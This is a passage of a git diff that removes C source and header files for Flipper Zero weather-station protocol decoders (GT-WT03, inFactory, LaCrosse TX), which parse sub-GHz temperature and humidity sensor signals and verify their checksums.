subghz_protocol_blocks_add_bit(&instance->decoder, 1); - instance->decoder.parser_step = GT_WT03DecoderStepSaveDuration; - } else { - instance->decoder.parser_step = GT_WT03DecoderStepReset; - } - } else { - instance->decoder.parser_step = GT_WT03DecoderStepReset; - } - } - break; - - case GT_WT03DecoderStepSaveDuration: - if(level) { - instance->decoder.te_last = duration; - instance->decoder.parser_step = GT_WT03DecoderStepCheckDuration; - } else { - instance->decoder.parser_step = GT_WT03DecoderStepReset; - } - break; - - case GT_WT03DecoderStepCheckDuration: - if(!level) { - if(((DURATION_DIFF(instance->decoder.te_last, ws_protocol_gt_wt_03_const.te_short * 3) < - ws_protocol_gt_wt_03_const.te_delta * 2) && - (DURATION_DIFF(duration, ws_protocol_gt_wt_03_const.te_short * 3) < - ws_protocol_gt_wt_03_const.te_delta * 2))) { - if((instance->decoder.decode_count_bit == - ws_protocol_gt_wt_03_const.min_count_bit_for_found) && - ws_protocol_gt_wt_03_check_crc(instance)) { - instance->generic.data = instance->decoder.decode_data; - instance->generic.data_count_bit = instance->decoder.decode_count_bit; - ws_protocol_gt_wt_03_remote_controller(&instance->generic); - if(instance->base.callback) - instance->base.callback(&instance->base, instance->base.context); - } - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 0; - instance->header_count = 1; - instance->decoder.parser_step = GT_WT03DecoderStepCheckPreambule; - break; - } else if( - (DURATION_DIFF(instance->decoder.te_last, ws_protocol_gt_wt_03_const.te_short) < - ws_protocol_gt_wt_03_const.te_delta) && - (DURATION_DIFF(duration, ws_protocol_gt_wt_03_const.te_long) < - ws_protocol_gt_wt_03_const.te_delta)) { - subghz_protocol_blocks_add_bit(&instance->decoder, 0); - instance->decoder.parser_step = GT_WT03DecoderStepSaveDuration; - } else if( - (DURATION_DIFF(instance->decoder.te_last, ws_protocol_gt_wt_03_const.te_long) < - ws_protocol_gt_wt_03_const.te_delta) && - (DURATION_DIFF(duration, ws_protocol_gt_wt_03_const.te_short) < - ws_protocol_gt_wt_03_const.te_delta)) { - subghz_protocol_blocks_add_bit(&instance->decoder, 1); - instance->decoder.parser_step = GT_WT03DecoderStepSaveDuration; - } else { - instance->decoder.parser_step = GT_WT03DecoderStepReset; - } - } else { - instance->decoder.parser_step = GT_WT03DecoderStepReset; - } - break; - } -} - -uint8_t ws_protocol_decoder_gt_wt_03_get_hash_data(void* context) { - furi_assert(context); - WSProtocolDecoderGT_WT03* instance = context; - return subghz_protocol_blocks_get_hash_data( - &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1); -} - -SubGhzProtocolStatus ws_protocol_decoder_gt_wt_03_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset) { - furi_assert(context); - WSProtocolDecoderGT_WT03* instance = context; - return ws_block_generic_serialize(&instance->generic, flipper_format, preset); -} - -SubGhzProtocolStatus - ws_protocol_decoder_gt_wt_03_deserialize(void* context, FlipperFormat* flipper_format) { - furi_assert(context); - WSProtocolDecoderGT_WT03* instance = context; - return ws_block_generic_deserialize_check_count_bit( - &instance->generic, flipper_format, ws_protocol_gt_wt_03_const.min_count_bit_for_found); -} - -void ws_protocol_decoder_gt_wt_03_get_string(void* context, FuriString* output) { - furi_assert(context); - WSProtocolDecoderGT_WT03* instance = context; - furi_string_printf( - output, - "%s %dbit\r\n" - "Key:0x%lX%08lX\r\n" - "Sn:0x%lX Ch:%d Bat:%d\r\n" - "Temp:%3.1f C Hum:%d%%", - instance->generic.protocol_name, - instance->generic.data_count_bit, - (uint32_t)(instance->generic.data >> 32), - (uint32_t)(instance->generic.data), - instance->generic.id, - instance->generic.channel, - instance->generic.battery_low, - (double)instance->generic.temp, - instance->generic.humidity); -} diff --git a/applications/external/weather_station/protocols/gt_wt_03.h b/applications/external/weather_station/protocols/gt_wt_03.h deleted file mode 100644 index d566bb399..000000000 --- a/applications/external/weather_station/protocols/gt_wt_03.h +++ /dev/null @@ -1,80 +0,0 @@ -#pragma once - -#include - -#include -#include -#include -#include "ws_generic.h" -#include - -#define WS_PROTOCOL_GT_WT_03_NAME "GT-WT03" - -typedef struct WSProtocolDecoderGT_WT03 WSProtocolDecoderGT_WT03; -typedef struct WSProtocolEncoderGT_WT03 WSProtocolEncoderGT_WT03; - -extern const SubGhzProtocolDecoder ws_protocol_gt_wt_03_decoder; -extern const SubGhzProtocolEncoder ws_protocol_gt_wt_03_encoder; -extern const SubGhzProtocol ws_protocol_gt_wt_03; - -/** - * Allocate WSProtocolDecoderGT_WT03. - * @param environment Pointer to a SubGhzEnvironment instance - * @return WSProtocolDecoderGT_WT03* pointer to a WSProtocolDecoderGT_WT03 instance - */ -void* ws_protocol_decoder_gt_wt_03_alloc(SubGhzEnvironment* environment); - -/** - * Free WSProtocolDecoderGT_WT03. - * @param context Pointer to a WSProtocolDecoderGT_WT03 instance - */ -void ws_protocol_decoder_gt_wt_03_free(void* context); - -/** - * Reset decoder WSProtocolDecoderGT_WT03. - * @param context Pointer to a WSProtocolDecoderGT_WT03 instance - */ -void ws_protocol_decoder_gt_wt_03_reset(void* context); - -/** - * Parse a raw sequence of levels and durations received from the air. - * @param context Pointer to a WSProtocolDecoderGT_WT03 instance - * @param level Signal level true-high false-low - * @param duration Duration of this level in, us - */ -void ws_protocol_decoder_gt_wt_03_feed(void* context, bool level, uint32_t duration); - -/** - * Getting the hash sum of the last randomly received parcel. - * @param context Pointer to a WSProtocolDecoderGT_WT03 instance - * @return hash Hash sum - */ -uint8_t ws_protocol_decoder_gt_wt_03_get_hash_data(void* context); - -/** - * Serialize data WSProtocolDecoderGT_WT03. - * @param context Pointer to a WSProtocolDecoderGT_WT03 instance - * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzRadioPreset - * @return status - */ -SubGhzProtocolStatus ws_protocol_decoder_gt_wt_03_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset); - -/** - * Deserialize data WSProtocolDecoderGT_WT03. - * @param context Pointer to a WSProtocolDecoderGT_WT03 instance - * @param flipper_format Pointer to a FlipperFormat instance - * @return status - */ -SubGhzProtocolStatus - ws_protocol_decoder_gt_wt_03_deserialize(void* context, FlipperFormat* flipper_format); - -/** - * Getting a textual representation of the received data. - * @param context Pointer to a WSProtocolDecoderGT_WT03 instance - * @param output Resulting text - */ -void ws_protocol_decoder_gt_wt_03_get_string(void* context, FuriString* output); diff --git a/applications/external/weather_station/protocols/infactory.c b/applications/external/weather_station/protocols/infactory.c deleted file mode 100644 index 4b0e6602a..000000000 --- a/applications/external/weather_station/protocols/infactory.c +++ /dev/null @@ -1,286 +0,0 @@ -#include "infactory.h" - -#define TAG "WSProtocolInfactory" - -/* - * Help - * https://github.com/merbanan/rtl_433/blob/master/src/devices/infactory.c - * - * Analysis using Genuino (see http://gitlab.com/hp-uno, e.g. uno_log_433): - * Observed On-Off-Key (OOK) data pattern: - * preamble syncPrefix data...(40 bit) syncPostfix - * HHLL HHLL HHLL HHLL HLLLLLLLLLLLLLLLL (HLLLL HLLLLLLLL HLLLL HLLLLLLLL ....) HLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL - * Breakdown: - * - four preamble pairs '1'/'0' each with a length of ca. 1000us - * - syncPre, syncPost, data0, data1 have a '1' start pulse of ca. 500us - * - syncPre pulse before dataPtr has a '0' pulse length of ca. 8000us - * - data0 (0-bits) have then a '0' pulse length of ca. 2000us - * - data1 (1-bits) have then a '0' pulse length of ca. 4000us - * - syncPost after dataPtr has a '0' pulse length of ca. 16000us - * This analysis is the reason for the new r_device definitions below. - * NB: pulse_slicer_ppm does not use .gap_limit if .tolerance is set. - * - * Outdoor sensor, transmits temperature and humidity data - * - inFactory NC-3982-913/NX-5817-902, Pearl (for FWS-686 station) - * - nor-tec 73383 (weather station + sensor), Schou Company AS, Denmark - * - DAY 73365 (weather station + sensor), Schou Company AS, Denmark - * Known brand names: inFactory, nor-tec, GreenBlue, DAY. Manufacturer in China. - * Transmissions includes an id. Every 60 seconds the sensor transmits 6 packets: - * 0000 1111 | 0011 0000 | 0101 1100 | 1110 0111 | 0110 0001 - * iiii iiii | cccc ub?? | tttt tttt | tttt hhhh | hhhh ??nn - * - i: identification; changes on battery switch - * - c: CRC-4; CCITT checksum, see below for computation specifics - * - u: unknown; (sometimes set at power-on, but not always) - * - b: battery low; flag to indicate low battery voltage - * - h: Humidity; BCD-encoded, each nibble is one digit, 'A0' means 100%rH - * - t: Temperature; in °F as binary number with one decimal place + 90 °F offset - * - n: Channel; Channel number 1 - 3 - * - */ - -static const SubGhzBlockConst ws_protocol_infactory_const = { - .te_short = 500, - .te_long = 2000, - .te_delta = 150, - .min_count_bit_for_found = 40, -}; - -struct WSProtocolDecoderInfactory { - SubGhzProtocolDecoderBase base; - - SubGhzBlockDecoder decoder; - WSBlockGeneric generic; - - uint16_t header_count; -}; - -struct WSProtocolEncoderInfactory { - SubGhzProtocolEncoderBase base; - - SubGhzProtocolBlockEncoder encoder; - WSBlockGeneric generic; -}; - -typedef enum { - InfactoryDecoderStepReset = 0, - InfactoryDecoderStepCheckPreambule, - InfactoryDecoderStepSaveDuration, - InfactoryDecoderStepCheckDuration, -} InfactoryDecoderStep; - -const SubGhzProtocolDecoder ws_protocol_infactory_decoder = { - .alloc = ws_protocol_decoder_infactory_alloc, - .free = ws_protocol_decoder_infactory_free, - - .feed = ws_protocol_decoder_infactory_feed, - .reset = ws_protocol_decoder_infactory_reset, - - .get_hash_data = ws_protocol_decoder_infactory_get_hash_data, - .serialize = ws_protocol_decoder_infactory_serialize, - .deserialize = ws_protocol_decoder_infactory_deserialize, - .get_string = ws_protocol_decoder_infactory_get_string, -}; - -const SubGhzProtocolEncoder ws_protocol_infactory_encoder = { - .alloc = NULL, - .free = NULL, - - .deserialize = NULL, - .stop = NULL, - .yield = NULL, -}; - -const SubGhzProtocol ws_protocol_infactory = { - .name = WS_PROTOCOL_INFACTORY_NAME, - .type = SubGhzProtocolWeatherStation, - .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable, - - .decoder = &ws_protocol_infactory_decoder, - .encoder = &ws_protocol_infactory_encoder, -}; - -void* ws_protocol_decoder_infactory_alloc(SubGhzEnvironment* environment) { - UNUSED(environment); - WSProtocolDecoderInfactory* instance = malloc(sizeof(WSProtocolDecoderInfactory)); - instance->base.protocol = &ws_protocol_infactory; - instance->generic.protocol_name = instance->base.protocol->name; - return instance; -} - -void ws_protocol_decoder_infactory_free(void* context) { - furi_assert(context); - WSProtocolDecoderInfactory* instance = context; - free(instance); -} - -void ws_protocol_decoder_infactory_reset(void* context) { - furi_assert(context); - WSProtocolDecoderInfactory* instance = context; - instance->decoder.parser_step = InfactoryDecoderStepReset; -} - -static bool ws_protocol_infactory_check_crc(WSProtocolDecoderInfactory* instance) { - uint8_t msg[] = { - instance->decoder.decode_data >> 32, - (((instance->decoder.decode_data >> 24) & 0x0F) | (instance->decoder.decode_data & 0x0F) - << 4), - instance->decoder.decode_data >> 16, - instance->decoder.decode_data >> 8, - instance->decoder.decode_data}; - - uint8_t crc = - subghz_protocol_blocks_crc4(msg, 4, 0x13, 0); // Koopmann 0x9, CCITT-4; FP-4; ITU-T G.704 - crc ^= msg[4] >> 4; // last nibble is only XORed - return (crc == ((instance->decoder.decode_data >> 28) & 0x0F)); -} - -/** - * Analysis of received data - * @param instance Pointer to a WSBlockGeneric* instance - */ -static void ws_protocol_infactory_remote_controller(WSBlockGeneric* instance) { - instance->id = instance->data >> 32; - instance->battery_low = (instance->data >> 26) & 1; - instance->btn = WS_NO_BTN; - instance->temp = - locale_fahrenheit_to_celsius(((float)((instance->data >> 12) & 0x0FFF) - 900.0f) / 10.0f); - instance->humidity = - (((instance->data >> 8) & 0x0F) * 10) + ((instance->data >> 4) & 0x0F); // BCD, 'A0'=100%rH - instance->channel = instance->data & 0x03; -} - -void ws_protocol_decoder_infactory_feed(void* context, bool level, uint32_t duration) { - furi_assert(context); - WSProtocolDecoderInfactory* instance = context; - - switch(instance->decoder.parser_step) { - case InfactoryDecoderStepReset: - if((level) && (DURATION_DIFF(duration, ws_protocol_infactory_const.te_short * 2) < - ws_protocol_infactory_const.te_delta * 2)) { - instance->decoder.parser_step = InfactoryDecoderStepCheckPreambule; - instance->decoder.te_last = duration; - instance->header_count = 0; - } - break; - - case InfactoryDecoderStepCheckPreambule: - if(level) { - instance->decoder.te_last = duration; - } else { - if((DURATION_DIFF(instance->decoder.te_last, ws_protocol_infactory_const.te_short * 2) < - ws_protocol_infactory_const.te_delta * 2) && - (DURATION_DIFF(duration, ws_protocol_infactory_const.te_short * 2) < - ws_protocol_infactory_const.te_delta * 2)) { - //Found preambule - instance->header_count++; - } else if( - (DURATION_DIFF(instance->decoder.te_last, ws_protocol_infactory_const.te_short) < - ws_protocol_infactory_const.te_delta) && - (DURATION_DIFF(duration, ws_protocol_infactory_const.te_short * 16) < - ws_protocol_infactory_const.te_delta * 8)) { - //Found syncPrefix - if(instance->header_count > 3) { - instance->decoder.parser_step = InfactoryDecoderStepSaveDuration; - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 0; - } - } else { - instance->decoder.parser_step = InfactoryDecoderStepReset; - } - } - break; - - case InfactoryDecoderStepSaveDuration: - if(level) { - instance->decoder.te_last = duration; - instance->decoder.parser_step = InfactoryDecoderStepCheckDuration; - } else { - instance->decoder.parser_step = InfactoryDecoderStepReset; - } - break; - - case InfactoryDecoderStepCheckDuration: - if(!level) { - if(duration >= ((uint32_t)ws_protocol_infactory_const.te_short * 30)) { - //Found syncPostfix - if((instance->decoder.decode_count_bit == - ws_protocol_infactory_const.min_count_bit_for_found) && - ws_protocol_infactory_check_crc(instance)) { - instance->generic.data = instance->decoder.decode_data; - instance->generic.data_count_bit = instance->decoder.decode_count_bit; - ws_protocol_infactory_remote_controller(&instance->generic); - if(instance->base.callback) - instance->base.callback(&instance->base, instance->base.context); - } - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 0; - instance->decoder.parser_step = InfactoryDecoderStepReset; - break; - } else if( - (DURATION_DIFF(instance->decoder.te_last, ws_protocol_infactory_const.te_short) < - ws_protocol_infactory_const.te_delta) && - (DURATION_DIFF(duration, ws_protocol_infactory_const.te_long) < - ws_protocol_infactory_const.te_delta * 2)) { - subghz_protocol_blocks_add_bit(&instance->decoder, 0); - instance->decoder.parser_step = InfactoryDecoderStepSaveDuration; - } else if( - (DURATION_DIFF(instance->decoder.te_last, ws_protocol_infactory_const.te_short) < - ws_protocol_infactory_const.te_delta) && - (DURATION_DIFF(duration, ws_protocol_infactory_const.te_long * 2) < - ws_protocol_infactory_const.te_delta * 4)) { - subghz_protocol_blocks_add_bit(&instance->decoder, 1); - instance->decoder.parser_step = InfactoryDecoderStepSaveDuration; - } else { - instance->decoder.parser_step = InfactoryDecoderStepReset; - } - } else { - instance->decoder.parser_step = InfactoryDecoderStepReset; - } - break; - } -} - -uint8_t ws_protocol_decoder_infactory_get_hash_data(void* context) { - furi_assert(context); - WSProtocolDecoderInfactory* instance = context; - return subghz_protocol_blocks_get_hash_data( - &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1); -} - -SubGhzProtocolStatus ws_protocol_decoder_infactory_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset) { - furi_assert(context); - WSProtocolDecoderInfactory* instance = context; - return ws_block_generic_serialize(&instance->generic, flipper_format, preset); -} - -SubGhzProtocolStatus - ws_protocol_decoder_infactory_deserialize(void* context, FlipperFormat* flipper_format) { - furi_assert(context); - WSProtocolDecoderInfactory* instance = context; - return ws_block_generic_deserialize_check_count_bit( - &instance->generic, flipper_format, ws_protocol_infactory_const.min_count_bit_for_found); -} - -void ws_protocol_decoder_infactory_get_string(void* context, FuriString* output) { - furi_assert(context); - WSProtocolDecoderInfactory* instance = context; - furi_string_printf( - output, - "%s %dbit\r\n" - "Key:0x%lX%08lX\r\n" - "Sn:0x%lX Ch:%d Bat:%d\r\n" - "Temp:%3.1f C Hum:%d%%", - instance->generic.protocol_name, - instance->generic.data_count_bit, - (uint32_t)(instance->generic.data >> 32), - (uint32_t)(instance->generic.data), - instance->generic.id, - instance->generic.channel, - instance->generic.battery_low, - (double)instance->generic.temp, - instance->generic.humidity); -} diff --git a/applications/external/weather_station/protocols/infactory.h b/applications/external/weather_station/protocols/infactory.h deleted file mode 100644 index 9431a067e..000000000 --- a/applications/external/weather_station/protocols/infactory.h +++ /dev/null @@ -1,80 +0,0 @@ -#pragma once - -#include - -#include -#include -#include -#include "ws_generic.h" -#include - -#define WS_PROTOCOL_INFACTORY_NAME "inFactory-TH" - -typedef struct WSProtocolDecoderInfactory WSProtocolDecoderInfactory; -typedef struct WSProtocolEncoderInfactory WSProtocolEncoderInfactory; - -extern const SubGhzProtocolDecoder ws_protocol_infactory_decoder; -extern const SubGhzProtocolEncoder ws_protocol_infactory_encoder; -extern const SubGhzProtocol ws_protocol_infactory; - -/** - * Allocate WSProtocolDecoderInfactory. - * @param environment Pointer to a SubGhzEnvironment instance - * @return WSProtocolDecoderInfactory* pointer to a WSProtocolDecoderInfactory instance - */ -void* ws_protocol_decoder_infactory_alloc(SubGhzEnvironment* environment); - -/** - * Free WSProtocolDecoderInfactory. - * @param context Pointer to a WSProtocolDecoderInfactory instance - */ -void ws_protocol_decoder_infactory_free(void* context); - -/** - * Reset decoder WSProtocolDecoderInfactory. - * @param context Pointer to a WSProtocolDecoderInfactory instance - */ -void ws_protocol_decoder_infactory_reset(void* context); - -/** - * Parse a raw sequence of levels and durations received from the air. - * @param context Pointer to a WSProtocolDecoderInfactory instance - * @param level Signal level true-high false-low - * @param duration Duration of this level in, us - */ -void ws_protocol_decoder_infactory_feed(void* context, bool level, uint32_t duration); - -/** - * Getting the hash sum of the last randomly received parcel. - * @param context Pointer to a WSProtocolDecoderInfactory instance - * @return hash Hash sum - */ -uint8_t ws_protocol_decoder_infactory_get_hash_data(void* context); - -/** - * Serialize data WSProtocolDecoderInfactory. - * @param context Pointer to a WSProtocolDecoderInfactory instance - * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzRadioPreset - * @return status - */ -SubGhzProtocolStatus ws_protocol_decoder_infactory_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset); - -/** - * Deserialize data WSProtocolDecoderInfactory. - * @param context Pointer to a WSProtocolDecoderInfactory instance - * @param flipper_format Pointer to a FlipperFormat instance - * @return status - */ -SubGhzProtocolStatus - ws_protocol_decoder_infactory_deserialize(void* context, FlipperFormat* flipper_format); - -/** - * Getting a textual representation of the received data. - * @param context Pointer to a WSProtocolDecoderInfactory instance - * @param output Resulting text - */ -void ws_protocol_decoder_infactory_get_string(void* context, FuriString* output); diff --git a/applications/external/weather_station/protocols/lacrosse_tx.c b/applications/external/weather_station/protocols/lacrosse_tx.c deleted file mode 100644 index f4b850d76..000000000 --- a/applications/external/weather_station/protocols/lacrosse_tx.c +++ /dev/null @@ -1,319 +0,0 @@ -#include "lacrosse_tx.h" - -#define TAG "WSProtocolLaCrosse_TX" - -/* - * Help - * https://github.com/merbanan/rtl_433/blob/master/src/devices/lacrosse.c - * - * - * LaCrosse TX 433 Mhz Temperature and Humidity Sensors. - * - Tested: TX-7U and TX-6U (Temperature only) - * - Not Tested but should work: TX-3, TX-4 - * - also TFA Dostmann 30.3120.90 sensor (for e.g. 35.1018.06 (WS-9015) station) - * - also TFA Dostmann 30.3121 sensor - * Protocol Documentation: http://www.f6fbb.org/domo/sensors/tx3_th.php - * Message is 44 bits, 11 x 4 bit nybbles: - * [00] [cnt = 10] [type] [addr] [addr + parity] [v1] [v2] [v3] [iv1] [iv2] [check] - * Notes: - * - Zero Pulses are longer (1,400 uS High, 1,000 uS Low) = 2,400 uS - * - One Pulses are shorter ( 550 uS High, 1,000 uS Low) = 1,600 uS - * - Sensor id changes when the battery is changed - * - Primary Value are BCD with one decimal place: vvv = 12.3 - * - Secondary value is integer only intval = 12, seems to be a repeat of primary - * This may actually be an additional data check because the 4 bit checksum - * and parity bit is pretty week at detecting errors. - * - Temperature is in Celsius with 50.0 added (to handle negative values) - * - Humidity values appear to be integer precision, decimal always 0. - * - There is a 4 bit checksum and a parity bit covering the three digit value - * - Parity check for TX-3 and TX-4 might be different. - * - Msg sent with one repeat after 30 mS - * - Temperature and humidity are sent as separate messages - * - Frequency for each sensor may be could be off by as much as 50-75 khz - * - LaCrosse Sensors in other frequency ranges (915 Mhz) use FSK not OOK - * so they can't be decoded by rtl_433 currently. - * - Temperature and Humidity are sent in different messages bursts. -*/ - -#define LACROSSE_TX_GAP 1000 -#define LACROSSE_TX_BIT_SIZE 44 -#define LACROSSE_TX_SUNC_PATTERN 0x0A000000000 -#define LACROSSE_TX_SUNC_MASK 0x0F000000000 -#define LACROSSE_TX_MSG_TYPE_TEMP 0x00 -#define LACROSSE_TX_MSG_TYPE_HUM 0x0E - -static const SubGhzBlockConst ws_protocol_lacrosse_tx_const = { - .te_short = 550, - .te_long = 1300, - .te_delta = 120, - .min_count_bit_for_found = 40, -}; - -struct WSProtocolDecoderLaCrosse_TX { - SubGhzProtocolDecoderBase base; - - SubGhzBlockDecoder decoder; - WSBlockGeneric generic; - - uint16_t header_count; -}; - -struct WSProtocolEncoderLaCrosse_TX { - SubGhzProtocolEncoderBase base; - - SubGhzProtocolBlockEncoder encoder; - WSBlockGeneric generic; -}; - -typedef enum { - LaCrosse_TXDecoderStepReset = 0, - LaCrosse_TXDecoderStepCheckPreambule, - LaCrosse_TXDecoderStepSaveDuration, - LaCrosse_TXDecoderStepCheckDuration, -} LaCrosse_TXDecoderStep; - -const SubGhzProtocolDecoder ws_protocol_lacrosse_tx_decoder = { - .alloc = ws_protocol_decoder_lacrosse_tx_alloc, - .free = ws_protocol_decoder_lacrosse_tx_free, - - .feed = ws_protocol_decoder_lacrosse_tx_feed, - .reset = ws_protocol_decoder_lacrosse_tx_reset, - - .get_hash_data = ws_protocol_decoder_lacrosse_tx_get_hash_data, - .serialize = ws_protocol_decoder_lacrosse_tx_serialize, - .deserialize = ws_protocol_decoder_lacrosse_tx_deserialize, - .get_string = ws_protocol_decoder_lacrosse_tx_get_string, -}; - -const SubGhzProtocolEncoder ws_protocol_lacrosse_tx_encoder = { - .alloc = NULL, - .free = NULL, - - .deserialize = NULL, - .stop = NULL, - .yield = NULL, -}; - -const SubGhzProtocol ws_protocol_lacrosse_tx = { - .name = WS_PROTOCOL_LACROSSE_TX_NAME, - .type = SubGhzProtocolWeatherStation, - .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable, - - .decoder = &ws_protocol_lacrosse_tx_decoder, - .encoder = &ws_protocol_lacrosse_tx_encoder, -}; - -void* ws_protocol_decoder_lacrosse_tx_alloc(SubGhzEnvironment* environment) { - UNUSED(environment); - WSProtocolDecoderLaCrosse_TX* instance = malloc(sizeof(WSProtocolDecoderLaCrosse_TX)); - instance->base.protocol = &ws_protocol_lacrosse_tx; - instance->generic.protocol_name = instance->base.protocol->name; - return instance; -} - -void ws_protocol_decoder_lacrosse_tx_free(void* context) { - furi_assert(context); - WSProtocolDecoderLaCrosse_TX* instance = context; - free(instance); -} - -void ws_protocol_decoder_lacrosse_tx_reset(void* context) { - furi_assert(context); - WSProtocolDecoderLaCrosse_TX* instance = context; - instance->header_count = 0; - instance->decoder.parser_step = LaCrosse_TXDecoderStepReset; -} - -static bool ws_protocol_lacrosse_tx_check_crc(WSProtocolDecoderLaCrosse_TX* instance) { - if(!instance->decoder.decode_data) return false; - uint8_t msg[] = { - (instance->decoder.decode_data >> 36) & 0x0F, - (instance->decoder.decode_data >> 32) & 0x0F, - (instance->decoder.decode_data >> 28) & 0x0F, - (instance->decoder.decode_data >> 24) & 0x0F, - (instance->decoder.decode_data >> 20) & 0x0F, - (instance->decoder.decode_data >> 16) & 0x0F, - (instance->decoder.decode_data >> 12) & 0x0F, - (instance->decoder.decode_data >> 8) & 0x0F, - (instance->decoder.decode_data >> 4) & 0x0F}; - - uint8_t crc = subghz_protocol_blocks_add_bytes(msg, 9); - return ((crc & 0x0F) == ((instance->decoder.decode_data) & 0x0F)); -} - -/** - * Analysis of received data - * @param instance Pointer to a WSBlockGeneric* instance - */ -static void ws_protocol_lacrosse_tx_remote_controller(WSBlockGeneric* instance) { - uint8_t msg_type = (instance->data >> 32) & 0x0F; - instance->id = (((instance->data >> 28) & 0x0F) << 3) | (((instance->data >> 24) & 0x0F) >> 1); - - float msg_value = (float)((instance->data >> 20) & 0x0F) * 10.0f + - (float)((instance->data >> 16) & 0x0F) + - (float)((instance->data >> 12) & 0x0F) * 0.1f; - - if(msg_type == LACROSSE_TX_MSG_TYPE_TEMP) { //-V1051 - instance->temp = msg_value - 50.0f; - instance->humidity = WS_NO_HUMIDITY; - } else if(msg_type == LACROSSE_TX_MSG_TYPE_HUM) { - //ToDo for verification, records are needed with sensors maintaining temperature and temperature for this standard - instance->humidity = (uint8_t)msg_value; - } else { - furi_crash("WS: WSProtocolLaCrosse_TX incorrect msg_type."); - } - - instance->btn = WS_NO_BTN; - instance->battery_low = WS_NO_BATT; - instance->channel = WS_NO_CHANNEL; -} - -void ws_protocol_decoder_lacrosse_tx_feed(void* context, bool level, uint32_t duration) { - furi_assert(context); - WSProtocolDecoderLaCrosse_TX* instance = context; - - switch(instance->decoder.parser_step) { - case LaCrosse_TXDecoderStepReset: - if((!level) && (DURATION_DIFF(duration, LACROSSE_TX_GAP) < - ws_protocol_lacrosse_tx_const.te_delta * 2)) { - instance->decoder.parser_step = LaCrosse_TXDecoderStepCheckPreambule; - instance->header_count = 0; - } - break; - - case LaCrosse_TXDecoderStepCheckPreambule: - - if(level) { - if((DURATION_DIFF(duration, ws_protocol_lacrosse_tx_const.te_short) < - ws_protocol_lacrosse_tx_const.te_delta) && - (instance->header_count > 1)) { - instance->decoder.parser_step = LaCrosse_TXDecoderStepCheckDuration; - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 0; - instance->decoder.te_last = duration; - } else if(duration > (ws_protocol_lacrosse_tx_const.te_long * 2)) { - instance->decoder.parser_step = LaCrosse_TXDecoderStepReset; - } - } else { - if(DURATION_DIFF(duration, LACROSSE_TX_GAP) < - ws_protocol_lacrosse_tx_const.te_delta * 2) { - instance->decoder.te_last = duration; - instance->header_count++; - } else { - instance->decoder.parser_step = LaCrosse_TXDecoderStepReset; - } - } - - break; - - case LaCrosse_TXDecoderStepSaveDuration: - if(level) { - instance->decoder.te_last = duration; - instance->decoder.parser_step = LaCrosse_TXDecoderStepCheckDuration; - } else { - instance->decoder.parser_step = LaCrosse_TXDecoderStepReset; - } - break; - - case LaCrosse_TXDecoderStepCheckDuration: - - if(!level) { - if(duration > LACROSSE_TX_GAP * 3) { - if(DURATION_DIFF( - instance->decoder.te_last, ws_protocol_lacrosse_tx_const.te_short) < - ws_protocol_lacrosse_tx_const.te_delta) { - subghz_protocol_blocks_add_bit(&instance->decoder, 1); - instance->decoder.parser_step = LaCrosse_TXDecoderStepSaveDuration; - } else if( - DURATION_DIFF( - instance->decoder.te_last, ws_protocol_lacrosse_tx_const.te_long) < - ws_protocol_lacrosse_tx_const.te_delta) { - subghz_protocol_blocks_add_bit(&instance->decoder, 0); - instance->decoder.parser_step = LaCrosse_TXDecoderStepSaveDuration; - } - if((instance->decoder.decode_data & LACROSSE_TX_SUNC_MASK) == - LACROSSE_TX_SUNC_PATTERN) { - if(ws_protocol_lacrosse_tx_check_crc(instance)) { - instance->generic.data = instance->decoder.decode_data; - instance->generic.data_count_bit = LACROSSE_TX_BIT_SIZE; - ws_protocol_lacrosse_tx_remote_controller(&instance->generic); - if(instance->base.callback) - instance->base.callback(&instance->base, instance->base.context); - } - } - - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 0; - instance->header_count = 0; - instance->decoder.parser_step = LaCrosse_TXDecoderStepReset; - break; - } else if( - (DURATION_DIFF(instance->decoder.te_last, ws_protocol_lacrosse_tx_const.te_short) < - ws_protocol_lacrosse_tx_const.te_delta) && - (DURATION_DIFF(duration, LACROSSE_TX_GAP) < - ws_protocol_lacrosse_tx_const.te_delta * 2)) { - subghz_protocol_blocks_add_bit(&instance->decoder, 1); - instance->decoder.parser_step = LaCrosse_TXDecoderStepSaveDuration; - } else if( - (DURATION_DIFF(instance->decoder.te_last, ws_protocol_lacrosse_tx_const.te_long) < - ws_protocol_lacrosse_tx_const.te_delta) && - (DURATION_DIFF(duration, LACROSSE_TX_GAP) < - ws_protocol_lacrosse_tx_const.te_delta * 2)) { - subghz_protocol_blocks_add_bit(&instance->decoder, 0); - instance->decoder.parser_step = LaCrosse_TXDecoderStepSaveDuration; - } else { - instance->decoder.parser_step = LaCrosse_TXDecoderStepReset; - } - - } else { - instance->decoder.parser_step = LaCrosse_TXDecoderStepReset; - } - - break; - } -} - -uint8_t ws_protocol_decoder_lacrosse_tx_get_hash_data(void* context) { - furi_assert(context); - WSProtocolDecoderLaCrosse_TX* instance = context; - return subghz_protocol_blocks_get_hash_data( - &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1); -} - -SubGhzProtocolStatus ws_protocol_decoder_lacrosse_tx_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset) { - furi_assert(context); - WSProtocolDecoderLaCrosse_TX* instance = context; - return ws_block_generic_serialize(&instance->generic, flipper_format, preset); -} - -SubGhzProtocolStatus - ws_protocol_decoder_lacrosse_tx_deserialize(void* context, FlipperFormat* flipper_format) { - 